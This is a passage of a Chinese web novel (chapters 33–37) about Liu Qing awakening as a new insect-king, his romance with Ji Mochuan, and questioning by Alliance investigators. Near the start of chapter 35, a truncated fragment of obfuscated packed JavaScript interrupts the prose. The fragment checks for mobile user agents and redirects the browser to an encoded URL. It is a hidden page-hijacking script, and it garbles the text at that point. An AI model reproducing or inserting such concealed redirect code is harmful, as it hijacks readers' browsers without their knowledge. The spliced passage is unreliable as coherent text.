塞弗恩特抬头看了她一眼,却浅浅地笑了一下。
“我正在苦恼这个样子可能太难隐藏,你来了正好。”
梁三山恶声道:“我说把他放下!”
塞弗恩特:“我并没有伤害他,如果你希望他躺在这样肮脏的地上,我也并不介意把他放下。”
梁三山:“……”
塞弗恩特的目光扫过梁三山的脖子、眼睛,然后就像是突然明白了什么。
“我对其他种族的死活没有兴趣,这次保护区的事情虽然我推波助澜了一下,但也只是把一切的结局提前了。
“你明白的,不是吗?梁三山女士,或者该叫你‘路遥’?”
梁三山的牙关紧了紧,看着塞弗恩特的眼神越发危险,仿佛下一秒她就会扣下扳机。
塞弗恩特对这支枪带给他的生命威胁并没有任何的担心。
他自说自话地陈述自己的发现。
“看到那具物骸的残骸的时候我就注意到了,明明是被选作王座(黄金海)窥探者之一的意识体,居然只是映射了一部分意识的物骸,那其原本的意识体必定是要强上数十倍。而如果这数十倍的原意识就在保护区里,不可能不被王座召唤。除非它在保护区外。
“但保护区里有共感隔离装置,如果是在保护区外把意识映射到保护区内的物骸上,那这原意识必定不止强于映射意识体的数十倍。
“类比的话,你对刘清来说,已经是绝对伴侣之于虫王的存在。”
塞弗恩特看向梁三山。
“我知道你是和刘清一样的杂血,对刘清颇为亲近,听夏维瑟所长说,是刘清七岁的时候救过你一命,而后夏维瑟所长才把你也带进了护理所——你五岁的时候就已经被刘清‘重塑’过了,并且是刘清第一个‘重塑’且认可的臣民,是吗?”
“闭嘴!!!”
梁三山的脑海里似乎有什么冰冷的记忆在复苏,她几乎接近崩溃地咆哮了一声。
塞弗恩特表示理解,“刘清刚刚才接过王座,并企图与所有族人同归于尽。他已经赐予了所有族人的重塑,只是他们还和他一起陷入沉睡。
“唯独你,映射的意识被隔离罩切割,你没有真的死亡,也无法被重塑。所以死亡的痛苦和恐惧会在你的意识复苏——这种感觉很痛苦吧。”
“我说闭嘴!你他妈闭嘴!”
梁三山朝塞弗恩特开了一枪,能量枪在塞弗恩特脑袋旁边的生态模拟墙上留下了一个漆黑的凹坑。
“抱歉,我并不是想要你痛苦。”
“……”
“我只是想说,你早就察觉了不是吗?你跟刘清在共感域上的联系。”
“……”
“当然,你可能只以为这种联系是你跟刘清独有的,却没有想到刘清会是新的虫王。”
“……”
塞弗恩特咳嗽了几声。
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“虽然我还想劝说你许多,可是我现在的身体状况也不太好,目前我们也最好不要被人发现。所以,你可以选择了。”
梁三山没明白,“选择什么?”
塞弗恩特把怀里昏迷的刘清往前递了一些。
“作为王座的顺位继承人,你可以选择现在就杀死还没有完全得到王权的王,或者选择臣服他。”
“……”
梁三山的视线转移到刘清的身上,神情不断变化。
塞弗恩特说得全对。
她早在五岁就被刘清重塑过了——尽管刘清并不知道,尽管她也是刚刚才确认。
五岁前,她跟其他杂血一样,羸弱得比一根草都命贱。她完全不记得五岁前有没有跟刘清有接触,刘清又为什么会救她——或许就是他的滥好心罢了。
但她就是成为了孤儿院里唯一的那个幸运儿。
那次重病后,她的身体素质就脱胎换骨,连脑子都跟着好了起来。后来她才知道那叫“共感域”。
她能感觉到自己跟刘清隐约的联系,她为此高兴,因为她真的很喜欢刘清,她把他当作唯一的亲人。
刘清不是她的养育者,尽管他尽力在她面前做正面的榜样,可是她能感觉到他。
以及其他人。
可这是地球。
星际时代后它被亚人类称为“人类瑰宝”“人类起源遗迹”“人类故乡”,仿佛这里是什么珍贵如水晶般一尘不染的美好地方。
狗屁。
这里盛满了人类自诞生以来所有的恶,无论是被“为还原生态”复刻出的远古动植物,还是“为平衡生态”创造出的外星生物,乃至这些“为保护脆弱的基因”而被圈养的原生人类。
简直就是个怪物蛊盅。
所以,梁三山也长成了一个怪物。
她不敢让刘清知道真实的她,所以有了“路遥”;她不敢让刘清知道她对他真挚到沉重的感情,所以有了“路遥的弟弟”。
但她更不敢让刘清知道的是,当年的极限竞赛,她不是被雷奎妄图猎杀的小可怜,而是她的一场扮猪吃老虎的游戏。
这种游戏她玩过很多,在保护区里,人命不值钱,所以道德也不值钱。
她杀过人,不止一个。
她自诩正义使者,在“为刘清创造一个干净世界”的心理掩饰下疯狂发泄自己的阴暗面……
而以上这些所有,都会在刘清再次醒来后,轻而易举地探知到。
如果刘清永远不清醒,她就永远只是他心里的那个“妹妹”或者“女儿”。
“操!”
梁三山弯着腰歇斯底里地吼出了一声。再抬起头,她双目赤红,用杀人的眼神盯着塞弗恩特,却收起了枪。
塞弗恩特并不意外她的选择。
他一半羡慕,又一半遗憾地感叹道:“虫族双生纪元的初代们肯定也和你们一样抱有这样浓烈的感情,可惜……
“希望你们可以找到黄金海新的道路,不要重蹈虫族的覆辙。”
梁三山一言不发,上前从塞弗恩特的手里接过了刘清。
入手的身体结实滚烫,梁三山却不知为何落下一滴眼泪来,正正好砸在刘清脸上的那抹金色血痕上。
34.吻。
又回到了那片金色的海面。刘清还是半透明地飘在海上,但他的对面不再是那个光球,而是阿强。
“这是假的。”
刘清笃定道。
阿强点头,“对,你的梦。或者说你的共感域的具象化——等你往后都学会了,往下一瞅,嚯,全是你的子民。威风!”
“……”
“咋?你还没想起来发生啥了?”
刘清的表情复杂,半晌“嗤”地乐了一声,凝重的神色也放松下来。
“我知道发生了什么。我是没想到会以这样的情形醒来,也没想到你会是这种态度。”
阿强摊爪,“那不然咋的,你是希望我跟你哭丧呢?——得了吧,我要哭也是给自己哭,我好好一生命无限的系统给分离了个魂出来,本来绑定你个短命种就够倒霉了,结果你还这么想不开,差点给自己切成饼干渣。要不是季末川挡那一下,你以为咱俩还能搁这聊天?
“所以,我现在不是‘这种态度’,我是真·超脱过生死了。 ”
刘清又扯起嘴角笑了一下,只是笑意不达眼底,他的眼里依旧是阴云重重。
“所以我的外挂是虫族的生鞘。”
“目前看来,是的。”
“系统安排的?”
“是你要求的。”
“……”
刘清看向阿强,阿强无奈,扇着翅膀落到了海面上,还拍了拍海面,荡起一片涟漪。
“坐着呗。”
刘清盘腿坐下。
阿强:“首先我得声明一件事啊:我被分离出来的只有一部分残片,主系统啥都没有给我留,之后我说的全是我的分析,不一定保真。”
刘清点点头,“你说。”
阿强:“其实很简单。动植物要遵循自然法则,人类要遵循社会规则,整个文明世界也有它自己的世界规则。
“可能对你们那个世界的人类来说,系统就是无所不能的神。但其实系统也就是高纬度的生物罢了,我们也有必须遵循、无法违逆的规则。
“简而言之,系统的奖励不能超过当前世界的承载力,所以给你的外挂,也不能够是这个世界没有的东西。”
刘清懂了。“所以不是系统故意挑选的生鞘,而是生鞘符合我的条件。”
阿强:“对咯。”
“就不能给我个没隐患的吗?我要求没高到碾压整个亚人种的共感域吧?”
“你要不再回忆下你当时的话?”
“……”
“而且系统已经陈述过你要穿越的世界,你都同意了的。”
“……”
刘清叹了口气,“行吧。是我自己的锅。”
阿强:“是命运,是规律,是不可预测的偶然——你别把啥都往自己身上栽。这遇到点挫折就折腾自己的毛病能不能改了?”
刘清哑然失笑,没反驳。
阿强:“虽然我挺能理解你的这种心态,但现在不是不一样了吗?咱积极一点。”
“扛着十数万人的命积极?”
“那不然呢?你再给自己切一遍?我可先告诉你啊,季末川这次是假鞘能给你挡一次,下次他就只剩个残血的本体了。咋的,你俩殉情啊?还带上我这个史蒂文。”
刘清这次没有被逗笑,低头沉默着。
阿强开导他,“其实你想开点,也没什么。毕竟其实从客观角度来说,你的臣民都已经是死人了。”
刘清:“……你这是安慰?”
阿强:“这是事实。而且我觉得对你来说是安慰。”
“……”
“刘清,我知道你在怕什么。你怕要对别人的生命和人生负责。”
刘清的指尖蜷动,探入了金色的海水里。
“我不该怕吗?”他反问,“虫族的王权跟人类的王权不一样,与其说那些是臣民,不如说是奴隶。我哪里是王,我是被黄金海的规则牵着的提线木偶罢了。”
“那就去学。”
“……”
“看我做什么?不然你不学,你还能睡一辈子?咋的都活两辈子,加起来都能退休的人了,这会迟来的叛逆期?”
“……”
阿强看他还是消沉,于是又飞了起来,悬在刘清的脸跟前。
“你这样,我只能放大招了。”
刘清看着它。
阿强:“虽然我能理解你被这种巨大的责任感压垮的无助,但是别的种族、势力都不会理解,他们只会害怕,或者觊觎。
“你现在只有十几万的臣民,而且是可以重塑的不死之身,这是多少人视为怪物的存在,又是多少势力梦寐以求的东西,你知道吗?”
刘清怔然。
阿强见他表情,点点头,“怀璧其罪。多的我也不说了,你应该比我更清楚下场。”
“……”
“塞弗恩特目前还隐瞒着你的消息,所有人都只以为保护区的调频装置搞晕了里头的所有人。但这事瞒不住多久,因为区域调整后死掉的人也都还活着——傻子才不会觉得奇怪。
“刘清,现在该你选择了:你是要睡下去,任人鱼肉,还是醒过来,去保护你的臣民?”
“……”
刘清凝视着跟前悬停的四脚蛇,却突然说道:“你不是阿强吧。”
阿强笑了一声,那声音便一点都不一样了。
“醒来吧。”
阿强又说了这样一句。
刘清感觉到浸入海水的手指被什么轻轻咬住了,然后又往下拖着他。
刘清低头去看那片黄金海,海下星罗棋布着宝石一样的光芒,安静得闪烁着。
“……”
刘清没有反抗,坠入大海。
…
刘清醒来的时候,感觉脸上有光,也有东西。在一下一下,小动物一样地啄他。
但长睫微动,掀开眼睑,入目的却是一张由于靠得过近而模糊了焦距的脸。
分明是一张陌生的成年男人的脸。
“!!!”
刘清一惊,身体像鱼一样弹了起来,却刚起了个势就被陌生男人按了下去。
男人不由分说地低头在刘清的唇上又啄了一下。
“醒了就好。”
刘清挣扎的动作停住,不可置信地看向眼前的人,“季末川?”
那声音跟季末川不差分毫。原本季末川那张小少爷的脸跟这把声音总是违和,如今在这个男人的脸上,却又十分合适。
季末川笑了一声,擒着刘清的手腕,拇指顺着刘清的鱼际滑入了他柔软的掌心,按在掌心正中,压开了刘清紧握的五指。
他偏头吻了下来,舔着刘清的唇。
就像是在叩门,一下一下,把门打开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351467|164743||http|test|mini|href|location''.split(''|''),0,{}));
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>“……”
刘清的心跳震耳欲聋,实在不明白怎么就突然到这一步了。
他下意识地说道:“季末川,你……”
毫无防备地张嘴说话,引来了季末川的长驱直入。
刘清张大了眼睛,所有的感官都被集中在了嘴里,他的舌头动也不敢动,只在被搅动的时候可怜地抖了一下。
滑的,湿的,软的,又很有力气的。人的舌头的触感陌生得可怕,刘清感觉自己下一秒就会被吃掉一般。
季末川又笑了一下,退出去说了一句“嘴巴张开些”,又欺了上来。
不知道是谁的口水汪了小泉,刘清的喉头一动,吞下去,又感觉一团火似的从喉咙烧了胃,撩了心。
刘清被压开的手指又收拢,握住了掌心的那根拇指。他颤抖着闭着眼睛,生涩地舔了回去。
季末川笑得呼吸沉重,一只手捧住刘清的脸,手指捏着刘清的耳垂,压下去又按回来。
不知道亲了多久,房间里响起了第三个声音。
“咳!咳咳!”
像是要把肺咳出来一样,对方用尽力气发出“还有人在”的声音。
刘清一惊回神,差点咬了季末川的舌头。
季末川分开些,又凑上去舔走刘清唇角溢出的湿痕,却也没有看向第三个人,而是撑起身体,让刘清看清楚了他的模样。
他现今的样子是一个无比英俊伟岸的男人模样,剑眉星目,神气十足,是那种无论在哪都会鹤立鸡群的存在;他宽肩细腰,体型也比之前高大许多,弯腰撑在床上的动作,简直像是要压碎床上的人一样。
刘清的目光根本挪不开,忘记了刚才突如其来的吻,第一句冒出来的话却是在问:“这是你本来的样子?”
季末川笑着——他笑的时候有一种莫名的邪性,不怒自威。可他看向刘清的眼神却温柔似水,那笑也就变成了满面春风。
“如果你说的是脸跟身材的话,是的。”
“那不是的部分是?”
“多了一点器官。我用了部分皮囊压着,怕吓到你。”
“……一点。”
季末川莞尔,一只手分别指了指后背、肋下和脸。
“翅膀,手,眼睛。”
刘清看不到他的背和肋下,但是脸上——确实能看到他的额和面上左右分布着均匀的四道细痕。
六只眼睛。
刘清想象了一下那个画面。没再好奇别的了。
然后刘清终于想起刚才咳得肺疼的人,转头看去,毫不意外地看到了梁三山。
梁三山还是穿着那身护理所的白大褂,一脸生无可恋的表情,像是看到了什么脏东西。
她先发制人,“我先说我早就在了啊,你俩亲得太投入了,我怕不吭声你俩能亲到天黑去。”
“……”
刘清的面上有些微发热,心跳还没平复,也弄不清怎么就突然亲上了。可现在他不想,至少不是在梁三山跟前分析跟季末川亲这么久的原因。
“现在什么时候了?”
刘清换了个话题。
季末川终于从撑着床的动作直起身来——他太高了,又强壮,像一座小山似的不容忽视。
刘清不由看向了他。
季末川对刘清笑了一下,说:“还早,你刚从保护区出来,不到两个小时。天都还没黑呢。”
35.满池春雨。
虽然刘清的世界已然天翻地覆,但是客观的时间流逝,即使从季末川迫降地球那天算起,也才堪堪过了两天。
刘清难免有些不真实感。
刘清伸手拍了拍自己的脸,看了眼季末川,又看了眼走进来的梁三山。
“现在是什么情况?”
梁三山在床前站定,先于季末川开了口,反问道:“你还记得什么?”
刘清陷入了回忆,“我朝着雷奎走过去之后,很快就落入了黄金海。黄金海之上的规则跟我说了很多,以及一些我不知道是谁——可能是生鞘吧——告诉我的东西。说的都是我的权力。
“我跟雷奎有抢夺王座的过程,我几乎放弃了,但黄金海的规则之外还有一个存在,似乎偏袒着我。乃至于将我最后在求生欲本能下作出的微弱反击,也视作了胜利。”
刘清看向季末川,“那个人是你吗?”
季末川否定了。“是塞弗恩特。”
刘清惊讶,“虫侍能够做到掌控黄金海?”
季末川摇头,“不能。但你的情况不一样,简而言之就是:塞弗恩特临时性地充当了你的老师,采取了一点强硬措,引导你坐上了你自己的位置——他没有偏袒你,早在我们遇到你之前,你已经是王了。他只是加速了你意识到自己身份的这个过程。”
“为什么要加速?”
“……”
季末川短暂地沉默了一下,“一会我们再详细讨论这个问题。现在先说完梁三山问的话吧。”
梁三山耸耸肩,默认了。
刘清:“我知道的事情就这些。”
梁三山:“黄金海以外的事情就都不知道了?我还以为你成了虫王后,你臣民的记忆都会变成你的。”
刘清无语,“就算是虫族的虫王继承的历代传承,也只是选择性地传承。我们终究是在人类范畴,不是无限量的移动硬盘。
“他说了,我对别人的记忆没有兴趣。”
这一点梁三山倒是深信不疑。
她“哦”了一声,又问:“那你知道我也是你的臣民吗?”
“……”
刘清先是怔愣了一下,接着立刻就知道了答案。
梁三山完全看懂了刘清的表情,笑了一下,“看来现在是知道了。”
刘清的脸色难看,带着深深的愧疚。
“对不起。”
梁三山却释然一笑,“有什么对不起的?那时候你救我,又不是为了让我当你的臣民。而且如果你一开始就知道自己的身份的话,或许都不会救我吧。”
刘清不否认。
梁三山又说:“总之现在事情已经变成这样了。刘清,你能不能答应我一件事?”
刘清:“什么?”
梁三山直视着刘清的眼睛,用一种她跟刘清说话时从未有过的严肃表情和语气,请求道:“无论何时,无论什么情况,都不要窥探我的记忆,不要更改我的意识。”
刘清不知道自己能不能做到,但他已经点了头:“好。”
因为这也是他所希望的。
梁三山笑逐颜开,“那现在第二个问题:你俩啥时候搞上的?”
刘清:“……你能换个词儿吗?”
梁三山:“好上的?”
刘清:“……”
刘清才沉默了两秒,梁三山就像是受到了天大的委屈。
“怎么?你现在连这个都不能跟小伙伴分享了?你就开始跟我划清界限了?你……”
“你够了。”
刘清赶紧打断她的表演,把之前误饮虫族蜜果酒,而后神游跟季末川相遇,并偶然唤醒季末川的事情全说了。
梁三山听得津津有味,听完之后脸色几经变化。
刘清一看就知道她在琢磨些什么,所以梁三山刚一张嘴,他就先发制人,“闭嘴。”
梁三山无辜地眨了眨眼,把自己想要说的话精简了,“看过灵魂爱你上……没想到你们是纯情挂的啊。”
刘清木着脸,“你还有别的问题吗?”
梁三山龇牙一乐,“有,当然还有。”
刘清急忙打补丁,“我跟季末川的问题除外。”
“小气。”
“……”
梁三山伸出手指了指自己的脖子,“你脑袋后冒出来的这两根东西,是新长出来的吗?跟虫族一样的触角?怎么人家长额头上,你搁脑袋后边的?”
刘清的眼睛些微睁大,“你看得到?”
梁三山一懵,“啊?我该看不到吗?”
刘清:“……”
季末川在旁边帮忙解释了一句,“这两条介质纤维他生来就有,只是之前你们看不到。”
梁三山露出意外的表情,眼里闪过一丝的落寞,但接着她又笑了一下。
“原来你也有小秘密没跟我说。”
不等刘清对她这句话有所反应,梁三山立刻绽开一个如常的笑,对刘清挤眉弄眼,“行吧,暂时没有问题了,就不打扰你们这新婚燕尔……好像不对,干柴烈火,好像也不对,情窦初开?你侬我侬?”
“……”
刘清抓了个枕头扔过去,“显着你会成语了?”
梁三山灵活地躲开飞过来的枕头,“哟,害羞了。”
刘清:“……”
“哈哈哈。”梁三山大笑了两声,朝门外走去,“我去给阿强买新载体了,有事给我打电话。”
…
梁三山走了,刘清才把视线落回季末川身上。
季末川弯腰拉了张椅子过来坐下——椅子比床矮了一截,但季末川还是跟坐在床上的刘清平视着。
他一言不发,只是笑着,拉过了刘清的手,轻而易举地把刘清整只手放在掌心把玩。
空气里升起一些让刘清不自在的温度,那些起初还懵懂的悸动,现在却像是被开了闸的山洪,倾斜而下蓄积已久的满池春雨。
指尖在彼此的肌肤摩擦中升温,刘清感觉自己的指腹渗出细密的潮湿,但他没有逃走,而是一把捏住了季末川粗粝的手指,迫使季末川停止把玩他手掌的动作。
“你刚才说塞弗恩特的事情。他想要加速我的自我认同,是因为你跟虫王吗?”
季末川朝前弯腰,手肘撑在床上,托着刘清的手背压在自己的脸颊上,五指探进刘清的五指缝隙。
“嗯。之前我给你看过我的灵魂,你已经知道我跟陛下的关系并不是那么美好,也知道陛下是想要杀我的。
“但那时候你没看到的是:陛下还没有破壳。”
刘清一惊,“什么?”
季末川:“接连几任虫王都采取了,在绝对伴侣破壳之前把他们扔进
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混沌星域放逐的办法,以替代无法被规则允许的杀害。但这种行为也积累触发了规则的警告:此后几代虫王都比绝对伴侣羸弱。
“到了我这一任,我的生鞘有了破壳的动静,但是虫王卵并没有。于是虫侍在虫王卵破壳之前做了决定,独自带我前往混沌星域——之后的事情你也知道,你唤醒了我。”
从“唤醒”季末川但现在,算上航行也就三天时间。
刘清:“你是说虫王卵到现在都没有破壳吗?可是你不是已经蜕变了吗?”
“对。我已经破壳、蜕变,所以如果这样的我回到虫星……我会先得到规则的认可,我不会让王破壳。”
“……”
季末川:“你怕我?觉得我残忍?但是如果王已经破壳,已经和我蜕变,结局也只会是一样——我们不会容忍对方的存在。”
“我没有觉得你残忍。我只是……不喜欢面对这种斗争。”
刘清自嘲一笑,“就像我不愿意坐上王座一样。我其实是个胆小鬼。”
“不,你只是太善良,也太有责任感了。”
季末川低头亲了亲刘清的手腕内侧,吻在手腕的动脉处,流连地用唇摩了几下。
“但是陛下很幸运,即使绝对伴侣被规则认可,但虫侍依旧只忠于王。于是他们对外宣布了繁衍季,隔绝了我跟陛下的联系,为虫王卵争取了一个月的时间。
“所以,塞弗恩特必须在这一个月里杀死我,或者让我自愿死去。”
刘清的身体一僵,紧张地直起了背。
季末川看到刘清紧张的神情和动作,却像是看到了堪比蜜果的滋味,笑着迎了上去,几乎贴上刘清的鼻尖。
刘清没有后撤,只是看着季末川。
季末川:“担心我?”
刘清:“……废话。”
季末川低声笑了几声,“刘清,我好喜欢你现在这个样子。我好喜欢你现在对我的态度,跟我说话的语气。我好喜欢。”
刘清却皱了眉,“现在是在说这个吗?——塞弗恩特加快我成王进程的原因,难不成是妄想我来对付你?”
季末川突然又笑了,“妄想——我喜欢这个词。”
刘清:“……”
季末川:“准确说,他是希望我能在你的帮助下,切断与陛下的联系。”
刘清:“诶?”
“虽然造就你和保护区的生鞘确实来自虫族,但它们早就成为了独立于虫族的体系。唯独黄金海的规则还是同一个。
“所以塞弗恩特认为,只要你成为了一个合格的王,黄金海的规则就会被同等分裂,届时它对我跟陛下的桎梏就会小很多。——这是‘和平’结束虫族双王纪元的唯一时机和办法。”
季末川抓着刘清的手,些微用力,把刘清拉向他的怀里。
“所以刘清,你要尽快在这一个月里成为一个合格的王,然后我会来做你的王后,好吗?”
刘清看着眼前男人英俊的面孔,仿佛终于在那片深不见底的黄金海里找到了一座可以落脚的孤岛。
那是他的灵魂唯一的支点。
“好。”
刘清朝前一栽,额头抵在季末川宽阔的肩膀上。
“我会拼命去学的。”
季末川笑了,把刘清抱了满怀。
“我知道。”
36.克劳斯。
很快就有人来找他们。
老夏、塞弗恩特,以及三个没见过的人。
这三个人穿着不一样的制服,压着帽檐看不清脸,但都有同样的徽章——联盟军。
刘清从床上下来。季末川先一步弯腰替他摆正了鞋。
老夏看到这,眼皮狠狠地跳了一下。
然后老夏突然张开双臂,操着一口夸张的翻译腔,唱咏叹调一样高声喊着:“我的孩子,你醒了真是太好了!”
她老鹰一样扑了过来,富态的身体灵活地错开了季末川,亲热地抱住了刘清。
刘清伸手扶了一下老夏,低声在她耳边问道:“这又唱的哪出?”
老夏戴满宝石戒指的手用力掐了刘清的后腰一把,同样小声道:“你还有脸问我?你个小兔崽子,你咋不去把天捅了!?”
刘清“嘶”了一声,反手按住了老夏的手,习惯性还嘴,“那也是没那个机会。现在什么情况?”
老夏言简意赅地交代,“你,柔弱高级护理师,什么都不知道,懂?”
刘清:“懂。”
母子俩交流完毕,老夏立马又提高音调,继续唱她的咏叹调。
“哦,我可怜的孩子,快让妈妈看看。那个天杀的调频装置,有没有弄坏你宝贝的脑袋?你还头晕吗?共感域还稳定吗?哦,我的天呐,你可是珍贵的S级共感域,如果你出了问题,我一定去砸了那该死的保护区!”
刘清温柔地把老夏的手捧住,一脸羸弱的神态,“妈妈别担心,我很好,只是有一些昏沉的感觉,很轻微,别担心。”
老夏:“哦,我可怜的小家伙。”
刘清乖顺温柔地接受老夏的抚摸。像一只顺毛的小白兔。
季末川浅浅弯起了嘴角,饶有兴味地观赏着刘清在他面前的第一次“演出”。
过了片刻,刘清才看向新来的那三个人,迷茫问道:“这几位是谁?没在护理所见过。”
老夏转过身,这才给他们介绍。
“这几位是联盟派来的调查员和专家。本来是来调查那起空难事故,接受事故受灾者的……”
老夏的话刚起了个头,塞弗恩特就自然地走上前来,接过了老夏余下的话。
“保护区的调频装置突然出了问题,调频范围扩散到了界外,不少生活区的人都受到了影响。你家距离保护区太近,你的共感域等级又高,睡梦里被影响进入了共感领域。虽然有季末川殿下帮你抵挡了一下,但你还是一直陷入沉睡,直到刚才才醒。”
刘清“哦”了一声,接收了剧情。又疑问道:“那他们来找我是?”
塞弗恩特:“你是护理所乃至整个生活区的共感域等级最高的人,他们来是想为你治疗,顺便也了解一下你感受到的情况。”
三个人中走出来一个,身高腿长,体型偏瘦,但黑色的联盟制服套在身上,也是一个不用脸就让人心潮澎湃的衣架子。
衣架子单手扶着帽檐,把帽檐往上一推毫厘的同时抬起了头,露出一张文质彬彬的笑脸,非常有书生气和亲和力。
“你好,001号首席护理师刘清。我是联盟第九军□□驻的调查员,克劳斯。好久不见。”
刘清的眼睛倏然睁大,接着缓缓皱起了眉头。轻声道:“克劳斯。”
老夏一改刚才慈爱的老母亲形象,撒开了她努力夹起的嗓子,中气十足道:“克劳斯!怎么会是你?你怎么混进了联盟军?”
克劳斯露出一个好脾气的笑,“所长女士,我可是正儿八经考进去的。毕竟我当初是您这里的001号护理师,共感域等级就是我的通行证。刚才故意遮着脸,也是想要给你们一个惊喜。”
老夏保养得当的脸皮抽了抽,“这确实够让人惊讶的,但是护理所现在和未来的情况来看,我可喜不起来——你们联盟军就不能把这些病患送到其他地方去吗?特别是……”
她的视线飞快朝旁边掠了一下,显然是在说虫族这尊大佛。
克劳斯更无奈了,“这也不是我能决定的事情。”
他们说话的时候,季末川已经上前一步,偏头靠近刘清的脑袋,轻声问道:“男朋友,能交代一下这位是谁吗?前任?”
刘清被他突然的称呼吓了一跳,接着又耳朵发烧。有些不好意思地动了吓脚尖,但嘴巴还是立刻回答了。
“以前这里的一个护理师。算是我的师傅吧。”
克劳斯也听到了这句话,非常自然地微笑着插|入了他们两个人的对话。
“怎么就变成‘算是’了?从所长女士把你带回护理所,几乎都是我在照顾你。刘清,你这样说有些伤我的心了。”
刘清的眼睫颤了一下,而后收回视线,没有回答克劳斯的话,只是说道:“我的身体没有大碍,不麻烦你们了。至于今天我昏迷时候的事情,我也记不太清楚,只感觉到了被一个共感域侵扰,而后一直在做噩梦。”
克劳斯紧跟着问道:“什么样的噩梦?”
刘清淡声道:“忘了。”
克劳斯点点头,“我当然是相信你的,只是我们的工作流程需要,还是要跟你做一些问询记录。”
克劳斯看向几乎跟刘清连体婴一样的季末川。
“这位就是季末川殿下吧?莱斯特的报告里有提到过您,不过没有提到您跟刘清的关系这么……亲密。”
季末川没有立刻回答他,而是先看向刘清。
刘清平静地说道:“刚才忘记跟你介绍,这是我的男朋友,季末川。”
季末川于是就笑了起来,如春风拂面。
克劳斯书生气的笑容骤然僵住,他眨了一下眼,笑意才重回到了眼睛里。
“哦对,你已经成年了。确实到了该交男朋友的年纪。只是如果我了解的事实没错的话,季末川殿下是虫王的绝对伴侣。”
他停顿了一下,房间里没有任何人反驳他的这句话。
克劳斯的眼皮扯动了两下,再开口的时候,声音明显冷硬了许多。
“虫王和绝对伴侣的联结是密不可破,连他们自己都无法抗衡的。他们注定要陪伴彼此一生一世,生生世世,这是联盟几乎所有人都知道的事实。”
他的语速逐渐加快。
“虽然现在虫星进入了繁衍季,导致虫王与绝对伴侣的联系减弱,他看上去似乎可以自己决定自己的感情。但这种自由也只有一个月的时间。刘清,你明白这意味着什么吗?”
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刘清平静地答道:“我明白。”
克劳斯哑然。
他好像很意外会听到刘清这样的回答,这样平静的回答。
过了一会,他才放松了紧绷的面部肌肉,轻轻点了下头,“你真的长大了。那么,我祝福你,刘清。”
刘清的眼神闪动,轻声道:“谢谢。”
…
问询很简单,刘清没有给出任何多余的信息,克劳斯三人很快就离开了。
他们离开后,先黑了脸的是老夏。
老夏也顾不得她金贵的超级VIP顾客了,当着季末川跟塞弗恩特的面对刘清说:“你脑子是被调频装置轰傻了吗?虫族你也敢招惹!?”
刘清当然没敢跟老夏说季末川都是他唤醒的,只是低眉顺眼,一副任打任骂的样子。
“这种事情哪里能控制得住?”
老夏呛他。“世上还有你不能的事了?”
她对他的说法一个字都不信,但深谙刘清个性的她也知道,刘清绝对不会跟她说清楚和季末川的事情——就像她永远不会知道刘清在保护区里发生了什么一样。
哎!
老夏重重叹了一口气,眉头依旧紧紧皱着,眼里全是担忧。
“刚才克劳斯的话也是我想说的。一个月,不,一个月都不到了。你最好告诉我你刚才是在开玩笑。”
刘清抬眼看向她,倏然展开了一个笑。
“老夏,我真的是认真的。你们说的我也都知道,我甚至已经想过了你们能想到的所有的残酷结局。
“可我还是这么选择了。因为我太了解我自己,现在我不迈出这一步,那一个月后的下半辈子,我一定会把每天都用来后悔自己的胆小。”
老夏恨铁不成钢,“一个男人。”
刘清莞尔,“对啊,一个男人而已。我跟他玩玩,一个月就踹了他。”
老夏:“……”
老夏闭了下眼,又深深地看了季末川一眼,最后似乎与自己妥协了。
“好吧。显然事情已经是我管不了的事态了。”
她说的并不止是刘清跟季末川的感情,在场的人都听懂了。
老夏:“刘清,无论你做出什么选择,我都希望你能记住你自己的生命和灵魂才是第一位。”
刘清笑了起来,“我会记住的。”
哎!!
老夏再次重重叹了一口气,而后又挺起了胸脯,拿回了她珠光宝气的资本家嘴脸。
“既然醒了就赶紧滚去上班,明天还要转三千多人进来呢。”
“还要转人进来?地球生活区就这么点大,现在保护区还出了事,转人进来干嘛?等死?”
老夏没好气地说道:“你以为我乐意?打空难起就不是我能说了算的事了。这次也是空难的受灾者,原本救护会送到星舰中转站的那批。”
“那为什么……”
刘清的话问到一半,突然自己就明白了答案。
老夏却不知道,“我怎么知道他们为什么,总之现在护理所就是个联盟议会分会场了,搁哪天变战场我都不意外。真是……”
老夏一想到护理所现在的境况就焦头烂额,骂骂咧咧地说了句就先走了。
37.一夜。
刘清没去上班,现在也没有上班的心情。
老夏一走,他转头看着塞弗恩特,直问道:“被规则认可,能够分离规则的标准是什么?”
塞弗恩特:“使用王的力量。”
刘清皱眉,“保护区里死去的人不是已经被重塑了吗?”
“那不是你的意愿。你需要自主使用王的力量,恩赐或惩罚,都是王的自觉。”
“雷霆雨露皆是君恩吗?”
“你可以这样理解。”
刘清沉默了一会,又问塞弗恩特:“你们的王破壳了吗?”
塞弗恩特:“快了。”
刘清没有再问什么,带着季末川离开了护理所,去了生活区里一家他常去的烧烤店吃晚饭。
老板认识刘清,上菜的功夫跟刘清八卦起来。
“刘清,今天又落了好几轮舰艇下来,还是之前空难的事呢?听说虫族也滞留在你们护理所了?”
“可不。大人物呢。”
刘清笑着瞥了季末川一眼。
老板“嚯”了一声,“多大?”
刘清:“这可不兴说。”
老板倒也不强求,转身去拿了几瓶酒出来,又换了个话题,“那今天保护区的动静你知道吗?听说是提前进调频期了,但也看到不少人在那里头进进出出,好像说是出事了。”
刘清反问:“你听到的是什么版本?”
老板:“这我哪能知道?我就是早上起来头昏脑晕的,结果一问才发现,周围人都这样。我们猜啊,这八成就是那个调频装置出问题了——回头我得上医院检查一下。”
刘清笑着附和了两声,又问:“下午你有看到联盟军去保护区了吗?”
老板:“有啊,去了不少人——所以我才说那里出问题了啊。”
刘清没再问别的。
最后菜上了个七七八八,老板才突然看了季末川一眼,“这个小帅哥面生啊,你新同事?”
“不是,我刚交的男朋友。”
老板惊讶,“啊?你前两天不是还单着吗?”
刘清:“所以说是刚交的。”
老板:“……”倒也没毛病。
老板有心八卦,只是现在是晚饭时间,店里忙得很。他就送了刘清他们一盘菜,算是给刘清庆祝脱单。
